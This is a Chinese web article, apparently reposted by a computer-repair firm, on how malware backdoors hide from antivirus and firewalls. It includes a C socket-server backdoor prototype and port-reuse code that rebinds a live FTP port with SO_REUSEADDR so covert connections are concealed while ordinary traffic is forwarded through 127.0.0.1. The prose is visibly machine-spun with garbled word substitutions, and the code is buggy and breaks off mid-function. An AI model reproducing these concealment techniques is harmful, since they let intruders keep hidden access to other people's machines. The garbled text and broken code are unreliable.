设为主页 | 加入收藏 | 繁體中文

浅析后门隐藏技术

  每每在网上“飘”的朋友信赖对后门这个称号一定很熟悉,其实后门也是一种程序,而由于它的用处的原因,它被广大的杀毒软件列为“通缉犯”,而且见到它便会痛下杀手,使那些使用后门的朋友痛心欲绝,正因云云,在这被杀和免杀之间,后门的品级失掉不停的提升,从后门的原始社会进入了后门的共产主义社会(有点夸张,其实小我私家认为,共产主义社会是不大概到达的;),好了,回到主题:
  1.什么是后门
  后门是一种远程的通讯工具,使用者可以使用后门来做一系列的事情,好比:修正注册表、杀去世进程、上传下载等等。由于绝大部门的后门都未颠末远程主机拥有者同意而被安置上去的,而且它们在使用的过程中会占用主机上的资源(本身的机子上的资料被他人非法占用,那可黑白常不爽的),甚至被用来做一些非法的事情使远程主机拥有者无辜受害,因而它被列为病毒也是合情公道;) 。
  2.常见的后门
  现在网下面的后门,真的是多不堪数,而常见有名的有winshell(孤单剑客的作品),winEggdrop(至今所见功效最齐备的后门,大概有更齐备的,但我没见过),wolf(美女黑客wolf的作品,不知道谁是wolf不要紧,知道睡在她旁边的叫glacier就够了,如果你连谁是gladier都不知道,小子,你不用混了),byshell(白远方的作品,用起来不错),另有一些有名没名的,在此就不多说了。
  3. 后门的隐蔽技术
  前面说过,后门是一种远程通讯工具,因而它涉及了网络编程,又由于它用于对体系的操作,因而它也涉及到体系编程,到现在为止,大部门后门都是用C/C++编写的,而此中又以C居多,因为对体系底层的编程,用C是最方便的。在这里,我先从网络编程讲起:
  1)、网络编程基础
  因为后门被用作服务端,所以这里我们只谈论服务段的编写,用的函数有WSAStartup()、socket()、bind()、accept()、send()等,如果你不知道它们有什么用,请参阅微软MSDN,这里有一个简单的例子:
  #include
  #include
  #pragma comment(lib,"Ws2_32")
  int main()
  {
  SOCKET mysock,tsock,           // 定义套接字
  struct sockaddr_in my_addr;       // 本地地址信息
  struct sockaddr_in their_addr;     // 毗连者地址信息
  int sin_size;
  WSADATA wsa;
  WSAStartup(MAKEWORD(2,2),&wsa);       //初始化Windows Socket Dll
  //创立socket
  mysock = socket(AF_INET, SOCK_STREAM, 0);
  //bind本机的端口
  my_addr.sin_family = AF_INET;               // 协议类型是INET
  my_addr.sin_port = htons(1234);           // 绑定端口
  my_addr.sin_addr.s_addr = INADDR_ANY;   // 本机IP
  bind(mysock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));
  //listen,监听端口
  listen(mysock, 10); // 等待毗连数量
  printf("listen......");    
  //等待客户端毗连
  sin_size = sizeof(struct sockaddr_in);
  tsock = accept(mysock, (struct sockaddr *)&their_addr, &sin_size);
  //有毗连就发送Hello,zrqfzr!字符串已往
  send(tsock, "Hello,zrqfzr!\n", sizeof(“Hello,zrqfzr!\n”), 0);
  printf("send ok!\n");
  //乐成,关闭套接字
  closesocket(sockfd);
  closesocket(new_fd);
  return 0;
  }
  这个例子看起来简单,不外这就是后门的雏形了,各人可以看出其流程是WSAStaartup()->socket()->bind()->accept()-send(),功效不多,要完成更多的功效,那只是工夫的问题了。
  2)隐蔽技术
  常见的隐蔽技术有:端口复用,Raw socket编程、远程注入DLL以及HOOK技术等。
  a.       端口复用
  原理很简单,复用已经翻开的端口,因为防火墙不会关闭所有的端口,因而,我们可以复用那些防火墙放行的端口,好比;80,21等等,这样做的话,就要把后门做成嗅探器的形式,当它嗅探到指定形式数据的工夫,再举行毗连,这样的利益是能确保毗连乐成同时又不会被发现,主要是使用setsockopt()函数设置socket的/SO_REUSEADDR选项就是可以完成端口重绑定的了,
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val);
  下面是一个简单的例子
  #include
  #include
  #include
  #include
  #pragma comment(lib, "Ws2_32")
  DWORD WINAPI ClientThread(LPVOID lpParam);
  int main()
  {
  WORD wVersionRequested;
  DWORD ret;
  WSADATA wsaData;
  BOOL val;
  SOCKADDR_IN saddr;
  SOCKADDR_IN scaddr;
  int err;
  SOCKET s;
  SOCKET sc;
  int caddsize;
  HANDLE mt;
  DWORD tid;
  wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
  if ( err != 0 ) {
  printf("error!WSAStartup failed!\n");
  return -1;
  }
  saddr.sin_family = AF_INET;
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常使用环境下,应该指定具体的IP,留下127.0.0.1给正常的服务使用,然后使用这个地址举行转发,就可以不影响对方正常使用了
  saddr.sin_addr.s_addr = inet_addr("192.168.0.10");    
  saddr.sin_port = htons(21);
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socket failed!\n");
  return -1;
  }
  val = TRUE;
  //SO_REUSEADDR选项就是可以完成端口重绑定的
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
  {
  printf("error!setsockopt failed!\n");
  return -1;
  }
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定乐成,前往无权限的错误代码;
  //如果是想经过重使用端口到达隐蔽的目的,就可以静态的测试以后已绑定的端口哪个可以乐成,就说明具备这个漏洞,然后静态使用端口使得更潜伏
  //其实UDP端口一样可以这样重绑定使用,这儿主要以FTP服务为例子举行打击
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
  {
  ret=GetLastError();
  printf("error!bind failed!\n");
  return -1;
  }
  listen(s,2);  
  while(1)
  {
  caddsize = sizeof(scaddr);
  //担当毗连恳求
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
  if(sc!=INVALID_SOCKET)
  {
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
  if(mt==NULL)
  {
  printf("Thread Creat Failed!\n");
  break;
  }
  }
  CloseHandle(mt);
  }
  closesocket(s);
  WSACleanup();
  return 0;
  }
  DWORD WINAPI ClientThread(LPVOID lpParam)
  {
  SOCKET ss = (SOCKET)lpParam;
  SOCKET sc;
  unsigned char buf[4096];
  SOCKADDR_IN saddr;
  long num;
  DWORD val;
  DWORD ret;
  //如果是隐蔽端口使用的话,可以在此处加一些果断
  //如果是本身的包,就可以举行一些特殊处理,不是的话经过127.0.0.1举行转发
  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  saddr.sin_port = htons(21);
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socket failed!\n");
  return -1;
  }
  val = 100;
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
  ret = GetLastError();
  return -1;
  }
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
  ret = GetLastError();
  return -1;
  }
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
  {
  printf("error!socket connect failed!\n");
  closesocket(sc);
  closesocket(ss);


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: